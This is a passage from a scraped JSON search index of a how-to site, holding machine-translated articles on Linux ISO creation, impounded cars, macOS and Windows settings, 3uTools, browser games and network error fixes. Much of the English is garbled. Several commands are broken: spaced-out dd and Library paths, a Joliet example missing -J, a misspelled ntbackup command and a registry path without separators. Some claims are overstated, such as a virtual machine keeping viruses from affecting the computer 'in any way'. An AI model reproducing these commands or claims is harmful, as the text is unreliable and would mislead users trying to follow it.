2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKuZk567qHnGmqSeZZmjerSv0ZqrnKA%3D\n","link":"/post/how-to-create-a-racing-game-in-scratch/","section":"post","tags":null,"title":"How to Create a Racing Game in Scratch"},{"body":"You may know that an ISO file can be burned to a CD / DVD or USB drive, but do you know that you backup or store your files and folders into an ISO file? will be better? With an ISO file, you can burn it to a CD / DVD as a backup or simply mount it as an external drive and access files from within.\nIf you want to back up the contents of a disc or if you have a bunch of files and folders that you want to back up and store, here's how you can apply to create ISO files in Linux.\n  1. Through Archive Manager If using Ubuntu (or Gnome Desktop), you can easily create an ISO file using the Archive Manager application.\n1. Open the Manager file. Select the files and folders you want to backup. Right-click on it and select Compress .\n  2. Select the \".iso\" option and then click Create . This process will compress the selected files and folders to an ISO file.\n  2. Through the command line dd is one of the useful commands that you can use to create an ISO file. All you need to do is identify the source and destination, and take steps to create an ISO file.\nUse the basic statement below:\ndd if = source of = destination\nFor example, if your CD-ROM drive is mounted at '/ dev / hdc,' and you want to back up the contents of the drive into a file 'my-cd-backup.iso', then you can use it. Use the following command:\ndd if = / dev / hdc of = / home / username / my-cd-backup.iso\nSource is not a CD-ROM drive. It can be a hard drive partition, or a portable hard drive or file path, although it does not work on a directory.\nAlternatively you can use the mkisofs command to create an ISO file. The highlight of the mkisofs command is to give you lots of options to customize the ISO file created to your liking.\nUse the basic statement below:\nmkisofs -o destination-filename source\nFor example, use the command below to back up your Home folder:\nmkisofs -o myHomeBackup.iso / home / username\nYou can request mkisofs to activate the Rockridge extension by setting the -R option:\nmkisofs -R -o myHomeBackup.iso / home / username\nActivate Joliet extension with flag -J:\nmkisofs -R -o myHomeBackup.iso / home / username\nIn addition, you can set the Volume name (-V option) for the ISO file (in case if you burn the ISO file to a CD, the volume name will be used as the CD's name).\nmkisofs -V \"Home Folder Backup\" -o myHomeBackup.iso / home / username\nAlso you can prevent another file from being added to the ISO file with the \"-m\" option. It supports both * characters, so you can use the following command:\nmkisofs -m \". *\" -o destination source\nRefer to some of the following articles: 7 commands to manipulate the most basic files and folders everyone must know Ubuntu Bash tutorial on Windows 10 Anyone should know these basic Linux commands Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWaho6R6p7XLnmSopl2htq%2FB1w%3D%3D\n","link":"/post/how-to-create-an-iso-file-on-linux/","section":"post","tags":null,"title":"How to create an ISO file on Linux"},{"body":" Having your car 'impounded' means that the police/municipality (or possibly some private agency) have taken it from you and are holding it. To get it back, you need to learn why it was impounded in the first place, and then correct...\nPart 1of 3:\nCollecting Your Impounded Car  Figure out why it was impounded. Before you can get your car back, you need to know why it was impounded. In some cases, if someone else was driving your car at the time, you may not be aware of the reason at first, but you (as the owner) are probably still responsible. There are a number of typical reasons that a car could be impounded:[1] involvement in illegal activity outstanding tickets or parking fines lack of insurance improper or expired registration.   Call a lawyer if your car was impounded for illegal activity. A car can be impounded if it was being used for one or more illegal activities, such as driving while intoxicated, carrying drugs or firearms, fleeing from police, or some other illegal activity. For some of these reasons, you may not be able to retrieve the car, especially if the police need to hold it for evidence.[2] Even if you were not driving the car when it was impounded for one of these reasons, you probably need a lawyer to help get it back. You may just need to pay a fine, or you might have to appear in court.\n  Pay outstanding tickets or parking fines. Different jurisdictions will have different limits about how many tickets they will tolerate before they tow away a car and impound it. You will need to contact the police department and find out exactly what you owe in order to recover the car.[3] Make sure you find out: how much you owe what additional costs there may be (such as late fees) if there is a towing fee if there is a storage fee at the impound lot what form of payment they will accept.   Get your car insured or registered properly. In some cases, the police may notice that your car is improperly registered, or that their records show that it is not insured. In order to recover the car in this instance, you would have to take care of the insurance and/or registration, and take proof of the correction to the police station to recover the car.[4][5]\n  Figure out what additional information you need to bring. Depending on the reason for the impound, bringing a payment may not be enough. You will probably need to bring proof of ownership, proof of your identification, proof of registration and insurance.[6] After you have corrected the problem that led to having your car impounded, collect these documents and take them to the police to show that the problem has been resolved.\n  Figure out the total due. Once you know why the car has been impounded, you need to learn how much it will cost for you to recover the car. Usually, you will have to pay several costs in order to get your car back.[7] You can usually figure this out by speaking to someone at the police station. Alternatively, the police may refer you to the city clerk's office instead. Ask them if you have to pay any of the following charges: the initial problem (tickets, insurance, fine, etc.) a towing charge a storage fee at the impound lot (this number will probably increase each day that the car is held in custody)[8]   Check on the accepted form of payment. You don't want to show up to collect your car and then find out that they won't accept your personal check. Call ahead to verify the form of payment that will be acceptable.[9] Cash Credit Money order   Go to impound lot or police station. In some cases, you may need to report to the police station first, in order to clear up the reason that your car was impounded, and then report to a different lot to collect the car. Be sure that you get a report or a release from the police station, so that the impound lot will know that they can release the car to you.\n  Get receipts. Be sure that you get receipts for whatever you pay and some form of release from the police to show that you have satisfied any outstanding tickets, warrants, insurance or registration issues, etc.\n Part 2of 3:\nFiguring Out if a Missing Car was Impounded  Check where you parked it. Sometimes, you will be aware that your car was impounded - especially if it happened while you were driving it. But sometimes you just walk out where you left it and it's gone. Probably the most common reason for a car to be impounded is that it was simply parked illegally. If you walk out to where you thought your car was, and find that it is missing, check the parking signs in the area. If you were in a 'No Parking' or a 'Tow Away' zone, that's probably your answer.\n  Look for signs for towing. If your car was in an area that is marked as a tow zone, there will often be a sign in the vicinity that will identify the towing company. Look for that sign and take down the number. Give them a call to find out if they have your car.\n  Contact police. If you cannot figure out why the car may be missing for one of the first two reasons, call the local police department. You can call the main intake number for the police department, and then explain the reason for your call. Alternatively, you may look online to see if the police department has a special number for impound information.[10] Some police departments may have an online resource that allows you to search for your car using either your license plate number or VIN.[11] In some cases, it may take a few days for information of the car to be entered into the police department's computer system, so you may need to check back a few times. For example, the Arizona law on impounding vehicles requires the police officer to make a formal record of impounding the car within three business days.[12]  Part 3of 3:\nRetrieving an Impounded Car for Someone Else  Be prepared to pay the costs. If needed, someone other than the owner of the car may be able to retrieve the car from the impound lot. However, the person retrieving the car must take care of paying all the expenses that the owner would have had to pay. This includes all the fines, tickets, storage fees, towing, or whatever other charges there may be. In addition, you must be prepared to prove that you are authorized to take the car.\n  Retrieve a car as a lien holder or lender. If you hold a lien on a car that has been impounded, and you are listed on the title as a lien holder, then in some jurisdictions you may be entitled to retrieve the car from the impound lot. You will need to be prepared to pay the same fees that the owner would be responsible for (fine, tickets, storage, towing, etc.). In addition, you must provide a copy of the title that shows that you hold a lien that has not yet been satisfied.[13]\n  Retrieve a car as an \"agent\" for the owner. In some states, the owner may designate another person as \"agent\" to collect an impounded car. Some examples may be if the owner is incarcerated, is injured, is out of state at the time that the car was impounded, etc. In such cases, the owner will need to provide a letter of authorization to the agent, which should include the following information: Owner's name, as it appears on the title or registration Identification of the vehicle, including make, model, year, VIN, license number Name of the agent. The person designated as agent will have to show identification when collecting the car. The agent does not necessarily have to be a relative of the owner. The agent must be able to demonstrate that he has a valid driver's license and insurance to drive the car away from the impound lot. In some states, the letter authorizing the agent to collect the car must be notarized. To find out the requirements of your specific jurisdiction, call the police department to ask their requirements.   Retrieve a car if the owner is deceased. In some jurisdictions, if the owner is deceased, then a relative may collect the car with a copy of the death certificate and proof of relationship.[14] Alternatively, in some places, the executor of the will may be able to retrieve the car.\n  Retrieve a car for a leasing agency or dealership. If the car has been leased or is owned by a dealership, a representative of the agency may be able to recover it by showing proof of ownership for the company.[15]\n  Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqb%2BqsdWeZJqmXZ66sbvUp5uenF2YrrM%3D\n","link":"/post/how-to-retrieve-an-impounded-car/","section":"post","tags":null,"title":"How to Retrieve an Impounded Car"},{"body":"The Aspire One logo is the biggest highlight with a large size in the center of the machine's surface and a rough surface against the grip .\nAcer's Aspire One netbook line has sold very well over the past time, mainly because it is more attractive than its competitors. In the new design for this series, Acer seems to want to focus more on the brand by arranging a large Aspire One logo and located in the middle of the face on the machine. Typical new models are D260 and D533.\nAnother noteworthy point is the Aspire One D260 and D533, which also has a reworked housing with an anti-stick seal design against previous glossy plastic.\nIn addition, the Aspire D260 is unique with the ability to choose one of two operating systems, Windows 7 or Android. While the D533 is more advanced with DDR3 support and Bluetooth 3.0.\n  The official image of the new generation Aspire.\n  The rough surface design helps prevent fingerprint adhesion.\n  Large Aspire logo.\n  D260 can boot one of two operating systems, Windows 7 and Android.\n  The inner surface also has a rough design with a keyboard that characterizes Acer models.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjJ2crKGXo3qwsoyaqqmhopp6sLrEZp2rp51irqSx0Q%3D%3D\n","link":"/post/new-design-of-aspire-one-from-acer/","section":"post","tags":null,"title":"New design of Aspire One from Acer"},{"body":"The days when PCs were restricted to running only one operating system are long gone. Today, you can run different versions of Windows simultaneously with others like Linux thanks to a virtual environment. And perhaps no product does better than Parallels, one of the market leaders in this task.\nParallels is a desktop and application virtualization software provider that provides management and distribution platforms for desktop deployments of Apple macOS and Microsoft Windows.\nDownload Parallels for MAC here.\nFeatures of Parallels Easy setup Setting up Parallels Desktop is easy. You will need a copy of Windows on a CD or an ISO file to install. Also note, Parallels Desktop allows you to import virtual machines created with other programs like VMWare and VirtualBox. Parallels will then install a copy of Windows or Linux in the amount of time it takes to perform a fresh Windows installation on the PC.\n  The Transporter feature guides you through the entire setup process, asking you if you want to share files between different operating systems and using an external device, etc. It also ensures that the virtual machine is set up correctly for the operating system you are installing thanks to the preconfigurations.\nNo need to worry about viruses   One thing to keep in mind is that by running the operating system in a virtual environment like Parallels, you don't have to worry about viruses as much. Any viruses will be confined to the virtual environment in which Windows operates and will not affect your computer in any way. However, you should still install a virus monitoring tool to keep your virtual environment clean, but if you encounter serious problems, you can simply reinstall Windows at any time.\nVarious options   When installing a new operating system, Parallels Desktop will ask you which version you want to launch when starting it. It also allows you to change settings like how much RAM is allocated to Parallels, hard drive space, and hardware acceleration to keep the balance between real and virtual desktops.\nIf you need to run multiple operating systems on your PC, you won't regret choosing Parallels Desktop.\nAdvantages\nImport VMWare and VirtualBox virtual machines Provision of pre-configured virtual machines Supports both 32 and 64-bit versions Great integration between operating systems Defect\nHigh CPU and RAM usage Not applicable to all processors ncG1vNJzZmismaXArq3KnmWcp51kvaK%2BwKWjnqSjYrGww82lppqcXaWus63LpZylq12dsrOx\n","link":"/post/parallels-download-parallels-here/","section":"post","tags":null,"title":"Parallels - Download Parallels here"},{"body":"Directory ~ / Library / on macOS Sierra contains preference files, cache and application data. However, by default, the User Library folder is hidden on macOS Sierra. In some cases you may have to display and access this folder.\nIn the article below, Network Administrator will guide you through the steps to display ~ / Library folder on macOS Sierra.\n  1. Access the Library folder on macOS Sierra You do not need to display the ~ / Library folder continuously on the Mac, just access the folder when needed using Menu Go:\n1. From the Finder on Mac OS , click the Go menu, press and hold the Shift key.\n2. Select ' Library ' from the dropdown menu .\n  Alternatively, you can press Command + Shift + L from the Finder MacOS to open the ~ / Library folder directly from the active user account.\n2. How to display ~ / Library folder on macOS Sierra? 1. From the Mac OS Finder, access the main User folder.\n2. Drag down the View menu and select View Options .\n3. Select Show Library Folder at the option to set the home User folder.\n  The above method applies to each specific user account on the Mac. For each different account you will have to follow the same steps to activate.\nAlternatively you can use the command to display the ~ / Library folder:\nchflags nohidden ~ / Library /\nYou can also apply the above method to display the ~ / Library folder on the Mac version of El Capitan and Yosemite .\nRefer to some of the following articles: This is how to view the cache of any Web site Instructions for activating macOS Sierra's Picture-In-Picture (PiP) mode with YouTube Instructions on how to install macOS Sierra (clean install) 10.12 on Mac Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKm71ma1ZqSZl7%2BivthmnaiklJq%2FbrvNZqSam5%2BoerS1xKupmg%3D%3D\n","link":"/post/show-library-folder-on-macos-sierra/","section":"post","tags":null,"title":"Show ~ / Library folder on macOS Sierra"},{"body":"Currently there are many websites for you to play Battleship, TipsMake.com will sum up in the article below.\n1. Battleship Games   The Battleship play site offers you many variations of the classic Battleship game for free. For example, the Battleship Advanced Mission is a war at sea that is described in detail both in terms of communication and the payload of the ship. Meanwhile, Torpedo Attack is another variant. You have to guess and attack the enemy fleet with torpedoes.\nThe games work based on Adobe Flash, so you can still play until the web browser stops supporting Flash.\nThe next games listed by Thuthuatphanmem.vn will not be Flash-based so they will continue to work in the future. Let's explore!\nPlay\u0026nbsp;Battleship Games\u0026nbsp;here\n2. Battleship   This is the simplest game interface with a 10x10 grid. You will place rectangles with green borders to represent your ship. This game will make you feel like you are playing on paper, not on your computer.\nUp to two players, you can connect with any player around the world. Alternatively, you can also invite your friend to join with a link.\nBattleship offers multiple languages, and you can also install it as a Chrome extension if you love it and want to play it regularly.\nPlay Battleship here\n3. Battleship War   You will find a Flash version of Battleship War in many websites. But this is the HTML5 version where you can continue to enjoy the game after Flash is no longer supported.\nThere are two levels of play Classic and Advanced. In Advanced mode you can use aircraft and radar to identify and bomb enemies.\nThe game's 3D graphics are more entertaining than on paper. Admire the beautiful explosions, the eye-catching rocket launches.\nPlay Battleship War here\n4. BoomBoomBoat   This free Battleship game can be started with a private playroom with a friend, a random stranger, or the AI ​​that runs the game. Its clear visuals and fast speed are the main attractions of this game. You can play BoomBoomBoat on any of these systems.\nThe game is in beta, but the gameplay is currently very stable and hits for you to experience.\nPlayt BoomBoomBoat here\n5. Battleship of Papergames   Battleship from Papergames is one of those options that gives you a variety of colors. The site wants to feel like we're playing with pencil and paper like we were in our childhood.\nTake part in Battleship games and play against players from around the world. The game has a global ranking system so you can see how your skills are improving.\nPlay Battleship of\u0026nbsp;Papergames here\nYou can also set up your own matches and share it with your friends via a link.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdl661wMueqqGhoGK0ornErA%3D%3D\n","link":"/post/the-best-battleship-games/","section":"post","tags":null,"title":"The best battleship games"},{"body":"3uTools version 2.31 has been released to all users, in addition to importing import live photos on iOS 12.1, some unique new features are included. One of them is the ability to connect 3uTools (computers) with iDevice via wi-fi instead of using lightning cables as before.\nHere are the new features in 3uTools version 2.31:\nPicTool: Tool that allows users to easily export photos from computer to iPhone.   Wi-Fi Connection: Instead of using lightning cables, the new feature allows the iDevice to connect to 3uTools (computers) via wi-fi by going to Toolbox -\u0026gt; Accessibility. However, 3uTools also warns that this feature may still appear.   Fixed import live photos on iOS 12.1 and some other bugs in older versions. You can access the 3uTools homepage according to the link below to download the latest version of this application, completely free of charge.\nhttp://3u.com/ 3uTools 2.29 is available, support for 'hack' limited passwords Version 2.29 of the 3utools tool has been released with some new features, including the 'hack' password limit feature.\nIn fact, before you can use this feature in pinfinder application to detect the passcode but the integration into 3utools tool will help users to use more easily and conveniently.\n  Note that you can only 'hack' passwords that are limited through a backup on your computer, which means you must perform a backup of the device before plugging in the device. You can always do this on 3utools. To conduct a limited password search, access More -\u0026gt; Restrictions from the device's main screen.\n  In addition, version 2.28 of 3uTools also officially supports iPhone XR device and also improves screen recording feature with 3uAirPlayer, supports preview of encrypted backup files, .\n  3uTools v2.27 is available for projecting the phone screen to the computer After launching v2.25 update to allow users to check the link of the device instead, 3uTools continued to release v2.27 to optimize the software and add 3uAirPlayer feature - screen projection iDevice on the computer.\nAll information disabilities and how to use 3uTools The outstanding features added in update v2.27 include:\nSupport iPhone Xs / Xs Max. Additional features 3uAirPlayer allows projection of the phone screen on the computer. Optimize parts including Repair Driver (repair drivers), remind connections, Backup / restore (backup / restore), Photos (features in the Photos section) to provide a better experience for users. Fix outstanding errors from previous updated versions .   To download 3uTools the latest version for free, you can visit the homepage following the link below.\n3uTools | iOS jailbreak \u0026amp; flash tool 3uTools update 2.25 allows checking whether iPhone has been replaced 3uTools 2.25 update, a free utility tool to manage, jailbreak, backup . on iOS devices that have been released with many new features, improved interface to increase the interaction between tools and users.\nNew features in 3uTools 2.25 update include:\nAdd the iDevice Verification Report feature, enabling users to check whether the iPhone component information has been replaced. The replaced components will appear red and the non-replaced components will show Normal. Unfortunately, the Vietnamese version has not yet completed this feature.    Add the ability to adjust the transparency of the Theme.   Giving users a better experience. Fix errors that existed from previous updates . See more:\nHow to download iPhone apps with 3uTools Instructions for converting videos on iPhone with 3uTools Instructions for creating ringtones on iPhone with 3uTools How to use 3uTools to move data on iOS devices? ncG1vNJzZmismaXArq3KnmWcp51kwamx0Z5kmqqVYoC2wM6oo6xlpmeAcnnSrqepp6KpeqS7zaecnKyZo7RuwM5moJ2dpp6wpnnVophmr5mbtg%3D%3D\n","link":"/post/there-are-3utools-v2-31-support-connecting-to-idevice-via-wi-fi/","section":"post","tags":null,"title":"There are 3uTools v2.31, support connecting to iDevice via Wi-Fi"},{"body":"This article describes how to use the Backup utility provided in Windows XP to back up files and folders on your computer. Note : You must have rights as a backup administrator or moderator on the computer you want to back up. Backup administrators and administrators can back up, restore encrypted files and folders without decrypting the file or folder. This article is for beginners who are familiar with computers. You can do it easily by following these steps. How to back up files and folders Step 1: Launch the Backup utility \n - Click Start , select Run , enter ntbackup.exe and then click OK - If the Backup or Restore Wizard starts, follow step 3. If you receive the following error message, the Backup utility may not have been installed:\nWindows không tìm thấy 'ntbackup.exe'.\nIn this case, click Exit then follow step 2 Step 2: Install Backup utility - Insert the Windowsx XP disc into the CD or DVD drive on your computer - Click Exit - Go to Start, select Run , enter the following command and then click OK :\nCDDrive : valueaddmsftntbackupntbackup.msi\nNote : CDDrive is the drive symbol of the CD or DVD drive. If you don't know what it is, try the name 'D' or 'E'. - When the Backup or Restorer Wizard appears, click Finish . - Remove the Windows XP disc from the drive - To launch the Backup utility, click Start, run Run , enter ntbackp.exe and click OK . Step 3: Select the folder or drive to backup - In the 'Welcome to the Backup and Restore Wizard' page, click Advanced Mode .\n  - Select Backup tab - On the Job menu, select New\n  - Click the box corresponding to the drives you want to backup. If you want more detailed options, expand the section inside the corresponding drive, click the box to select the files and folders you want to backup.\n- Click on the System State box.\n  Note : If you want to back up system settings and data files, back up all the data on the computer to include the System State data. System State data are information such as registry, COM + registration database, files in the Windows File Protection section and boot files. Step 4: Select the location of the backup files - In the Backup destination list, click on the destination to place the backup files you want. - If you clicked File in the previous step, click Browse and select the location where you want to place the backup file. You can use network sharing to have a destination location for the backup file. Step 5: Backup files - In the Backup tab, select Start Backup . The Backup Job Information dialog box will appear.\n  - Under If the media already contains backups , use one of the following steps:\nIf you want to append this backup to previous backups, click Append this backup to the media .\n If you want to overwrite this backup to previous backups, click Replace the data on the media with this backup .\n - Click Advanced - Click on Verify data section after backup .\n  - In the Backup Type dialog box, click the type of backup you want. When you select a backup type, the description of that backup type will appear in the ' Description ' section. - Click OK and then click Start Backup . A Backup Progress dialog box will appear and the backup process starts.\n  Step 6: Close the Backup utility - When the backup process is complete, click Close - In the Job menu, select Exit Video instructions on how to use the Backup utility\nNote : To view this video, Windows Media Player on your computer must have version 7.0 or higher and you use Internet Explorer.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjK2fnmWSlrCswc9mrK2hnJ7BunnIp2SwoZ6ZvLi%2FjLGn\n","link":"/post/use-the-backup-utility-in-windows-xp/","section":"post","tags":null,"title":"Use the Backup utility in Windows XP"},{"body":"You certainly have seen the 'Android System Webview' application in the update list for applications, but you may not be sure what it is or whether to uninstall it. This application does not seem to be a big problem, but you should keep Android System Webview on your device, especially if the device is running on an older version of Nougat Android.\nIf using an Android device running Android Nougat or later, this application will not be visible. With Nougat, Google has moved this useful tool elsewhere, but it's still part of Android.\nWhat is Android System Webview? Android System Webview is a smaller version of Chrome, allowing users to open links in the application in use, without leaving the application.\n  This means that when a user clicks on a link in an application, it will open Android System Webview as if it were a browser built into the application.\nOne thing to note is that not all applications can support Android System Webview. This is why links from some applications are open in Chrome and not in the app.\nCan I uninstall Android System Webview? If you want to exit Android System Webview, you can only uninstall the updates, not the application itself. This can be done if an Android device does not run on Nougat or a newer version. With Nougat, Google removed it as a standalone application and instead used Chrome itself as a Webview application.\nIf the machine runs Nougat and still has this application, then Android System Webview is running on Chrome, not on the application. If the application is not disabled, you can also do it yourself.\nIf you want to uninstall the application on Android, go to Google Play, click on the menu menu, go to My Apps \u0026amp; Games / Apps and games section , then select Installed / Installed tab . This application will usually be near the beginning. Touch it and select Uninstall / Uninstall button .\n  \nIf you're using Android Nougat or above, disabling the application will be safe, but if you're using older versions, it's best to leave it as it is. If Chrome is disabled, it may be because you are using a different browser. In that case, it is best to keep the Android System Webview application.\nAlthough you may not know what the Android System Webview application is for, but in general, that doesn't mean it doesn't do anything useful. If you don't know what the application is doing, it's best to take some time to learn, because you can mistakenly remove an application that gives you the best performance possible.\nWebview is a mandatory application and does not need to activate this application (because it will automatically start). Hopefully the article has helped readers better understand Android System Webview!\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRo7Gzu8idZKyxo6myrnnWnpmvoZWseqK6w2aqoaelobFutdNmmZ5lpaO2r7%2FTmqOlnZQ%3D\n","link":"/post/what-is-android-system-webview-and-should-it-be-uninstalled/","section":"post","tags":null,"title":"What is Android System Webview and should it be uninstalled?"},{"body":"Here is a list of web game play according to the way the room is very attractive, attractive like PUBG, Fortnite. In particular, these web-based survival games are quite light, allowing gamers to play at home without having to go online.\nZombs Royale\nZombs Royale is appreciated by the gaming community in all aspects, even it is considered a webgame Fortnite version. The game features are quite fluid, players can choose from 3 single, duo and squad modes. In addition, the game also has skins and boxes like real survival games.\n  Zombs Royale's play mechanism is quite simple, allowing users to adapt in a short time. Zombs Royale's configuration is quite light, allowing gamers to experience smooth, low latency.\nSurviv.IO\nSurviv.IO has a complex but extremely attractive and attractive game mode. Guns, armor in the game is extremely diverse, even comparable to PUBG or Call of Duty: Blacks Ops 4.\n  The game is full of modes such as solo, duo or squad so players can easily match the pot with other friends and gamers.\nGame server system works quite stably. Therefore, Surviv.IO always attracts a large number of players, about 5000 players at a time.\nBruh.IO\n  \nBruh.IO possesses impressive graphics and is highly appreciated. Unlike other games, in Bruh.IO players can easily see their enemies when the camera is always directed from high to down. Bruh.IO's system supports full statistics. The server works quite smoothly. Therefore, Bruh.IO is the choice of many players who love shooting genre.\nBuild Royale\nBuild Royale is an attractive 2D webgame. Similar to Fortnite, Build Royale allows players to collect materials and create buildings and walls. Players can build basic walls to ensure safety when shot unexpectedly.\n  \nThis game was only Alpha Test a month ago. Although still in the process of finishing, the game received many positive feedback from players. This will definitely be a hot game in the future.\nSee more:\nTop 10 open world games like GTA that you should try Top best free horror game on PC and download link TOP best survival game on PC and download link ncG1vNJzZmismaXArq3KnmWcp51kgW7DxJuZmquVmXq0wdGvoK%2BZnGK0ornErGSaqpVitKa606WcZpqlqXqiwNOrmJysmauybrjIpJxmqKWXtA%3D%3D\n","link":"/post/4-web-based-survival-games-are-gentle-but-attractive-like-pubg/","section":"post","tags":null,"title":"4 web-based survival games are gentle but attractive like PUBG"},{"body":"By default, on Windows 10 users can easily change Desktop wallpapers.Just right-click any image file and click the Set as desktop background option to set it as a background image.Or alternatively you can navigate to Settings =\u0026gt; Personalization =\u0026gt; Background to select an image as a desktop wallpaper.\nIf you can't change the desktop wallpaper or can't set a new image as a desktop wallpaper, you can easily enable the option to change the background wallpaper by tweaking Group Policy or Registry.\nIf the Personalization section of the Settings window displays the 'Some settings are managed by your organization' message , it is because of the option to change the desktop wallpaper that has been disabled on Group Policy or Registry.\n  1. Check the activation status of Windows 10 The first and important step before taking the next steps is to check if Windows 10 status is enabled. If the copy of Windows 10 has not been activated, you cannot change the desktop wallpaper via Settings settings.\nAnd even when you right-click on an image and choose Set as desktop background , you can't set it as wallpaper.\n  Follow the steps below to check if the copy of Windows 10 is enabled.\n1.1. Method 1 Step 1 :\nOn Windows 10, click the Start button, then click the Settings icon in the left pane of Start Menu to open the Settings window.\nOr alternatively press the Windows + I key combination to open the Settings window.\n  Step 2 :\nOn the Settings window, find and click Update and security (Windows Update, recovery, backup).\n  Step 3 :\nIn the left pane, click on Activation .\nStep 4 :\nNext in the right pane you will see the Windows 10 version and the activation status of Windows 10.\nIf Windows 10 is enabled, you will see the Windows is activated message displayed on the right side of the Activation section.\n  1.2. Different ways\nStep 1 :\nOpen the System window by pressing the Windows key combination + Pause / Break key .\nOr open File Explorer (Windows Explorer), then in the left pane, find and right-click this PC icon and click Properties to open the System window.\n  Step 2 :\nScroll down here to find Windows Activation.\n  Step 3 :\nIf the copy of Windows 10 is activated, you will see the message Windows is activated.\n2. Activate the wallpaper change option on Group Policy The reason is because Group Policy is only available on Pro and Enterprise versions, so if you use the Home version, users cannot use Group Policy but must use the Registry.\nIf using Pro or Enterprise version, follow the steps below:\nStep 1 :\nEnter Gpedit.msc in the Search box on Start Menu or on the Taskbar and then press Enter to open the Group Policy Editor window.\n  Step 2 :\nOn the Group Policy Editor window, navigate to the key:\nUser Configuration =\u0026gt; Administrative Templates =\u0026gt; Control Panel =\u0026gt; Personalization\nStep 3 :\nIn the right pane, find and double-click the policy called Prevent changing desktop background to open the Properties window.\n  Step 4 :\nOn the Properties window, click Not Configured or Disabled to activate the option to change the desktop background image.\n  3. Enable the option to change the wallpaper on the Registry Step 1 :\nOpen the Registry Editor window by entering Regedit in the Search box on Start Menu or in the Taskbar and then pressing Enter. If the UAC window appears, click Yes to continue to open the Registry window.\n  Step 2 :\nOn the Registry window you navigate to the key:\nHKEY_CURRENT_USERSOFTWAREMicrosoftWindows CurrentVersionPoliciesActiveDesktop\n  Step 3 :\nDouble-click the value named NoChangingWallpaper and set the value in the Value Data frame to 0 to enable the option to change the desktop wallpaper on Windows 10.\n  Refer to some of the following articles: This is a way to transfer images from Android to a computer without a USB cable No software needed, this is the fastest way to transfer images between iOS and Mac devices No need to use software, here are 3 ways to get images from Word files fastest Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksrO%2BzqtknJmeqXqktMCnnp5llJrArMDOqWSwmZyhvaK8xKtkqKZdrLavsM6wqmZpYGLBqbXSZqCsZZikxG7AzmadorBdnsE%3D\n","link":"/post/error-can-t-change-desktop-wallpaper-on-windows-10-this-is-how-to-fix-it/","section":"post","tags":null,"title":"Error 'can't change desktop wallpaper' on Windows 10, this is how to fix it"},{"body":"Although there are many improvements and new upgrades, but according to the \"tradition\" of . Microsoft, Windows 10 still contains a lot of small errors that in the long run will make users feel very uncomfortable, one of which is an error. display the message \"No Internet, Secured\". What is surprising is that even though it displays \"No Internet, Secured\", you still really have normal Internet access. So what is causing the problem and how do you solve it?\n In general, the reason why Windows 10 displays the message \" No Internet, Secured \" is due to the wrong setting of the IP address when connecting to the network. Therefore, if you are experiencing this situation, you can overcome it quickly through the following suggested solutions.\n1. Refresh the IP configuration\nThe quickest and easiest way to resolve the \"No Internet, Secured\" error message on Windows 10 is to refresh the computer's IP configuration. Doing this will help you reassign your IP address, while also fixing the problem if the cause is caused by IP allocation. Specifically, you run two commands in Windows Powershell as follows.\n The first is \"ipconfig / release\".\n Then \"ipconfig / renew\".\nEnd of each statement is the ENTER key to execute. The change will take effect immediately.\n2. Disable VPN settings\nSometimes the security layer of a VPN utility on your computer can also be the cause of the \"No Internet, Secured\" error on Windows 10. Therefore, what you need to do next is turn off or exit completely. VPN utility is in use. Wait a few minutes and reconnect to the internet, then open a website with regularly updated content such as a news website to check results.\n If everything returns to normal, the cause is the VPN server. At this point, removing or upgrading is what you should do.\n3. Reinstall Winsock\nIf you do not already know, Winsock (or Winsock protocol) controls a large number of communication processes on your Windows 10 computer with network services, and reinstalling (reset) Winsock will help change some of default settings and eliminates problems that arise, including the \"No Internet, Secured\" error.\n To reinstall Winsock, run the \" netsh winsock reset catalog \" command in Windows Powershell.\n4. Check the connection properties of the computer\nOn Windows 10, there are a lot of \"small links\" linked to your Internet connection, which means a lot of things need to have your internet connection to work properly.\n To check if everything is in order on Windows 10 system, right-click the Wi-Fi or \"Internet\" icon in the system tray and select \"Network \u0026amp; Internet Settings\" .\n Continue to click the \"Change adapter options\" option in the Settings window that appears.\n A window displays the type of network connection on the computer that appears, right-click the type of connection you are using and select Properties.\n The Properties window appears, check and mark all the options: Client for Microsoft Networks, File and Printer Sharing, Internet Protocol Version 4, Internet Protocol Version 6, Link-layer Topology Discovery Responder.\nFinally, click OK to save.\n5. Disable IPv6\nIPv6 is a relatively new internet protocol that more and more PCs are now switching to due to the fact that the number of available IPv4 addresses is simply gone. However, not all network devices and ISPs work well with iPv6, so if you enable this protocol, it may interfere with your connection (or you can connect to the Internet via IPv4). ) but basically, the PC will still notify you that the IPv6 connection is without Internet signal.\n To disable IPv6, disable the \"Internet Protocol Version 6\" option in your connection properties. The operation is similar as in method 4.\n6. Update network driver again\nMost likely your network card driver is faulty, so you also need to perform a driver update to fix the error.\n The update is also quite simple, just open Device Manager, expand the Network Adapters hardware group. Find the network device you are using and right-click it, select Update driver.\n7. Use Network Troubleshooter on Windows 10\nFinally, if Windows still displays the message \"No Internet, Secured\" and the computer still has access to the network, you can try this last resort.\n Windows 10 comes with a number of tools to help you with some basic troubleshooting, and they will automatically check and perform (or suggest) fixing the problem. To launch the Troubleshooter, go to Settings\u0026gt; Network \u0026amp; internet\u0026gt; Network troubleshooter. Follow the steps to fix the problem.\nHope the article will be useful for you.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWVp7%2Bwvoytn5qsXZm2tLzLmrCsZaSdsm65xKyqmp%2BVYruwecinq56qnprBbr%2FEnKyrnZRirq%2B6zrKgp59dpLtuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/fix-the-error-that-displays-the-message-no-internet-secured-annoying-on-windows-10/","section":"post","tags":null,"title":"Fix the error that displays the message 'No Internet, Secured' annoying on Windows 10"},{"body":"Forza Street is Microsoft's best racing game. Currently, Microsoft has begun to allow Windows 10 users to download and play this game for free, the mobile version will also officially be available on iOS and Android later this year.\nUsers can access the link below to download Forza Street and play on Windows 10.\nForza Street\n  In the game, players will be taken to the streets of Miami to participate in top racing. Here, players will choose 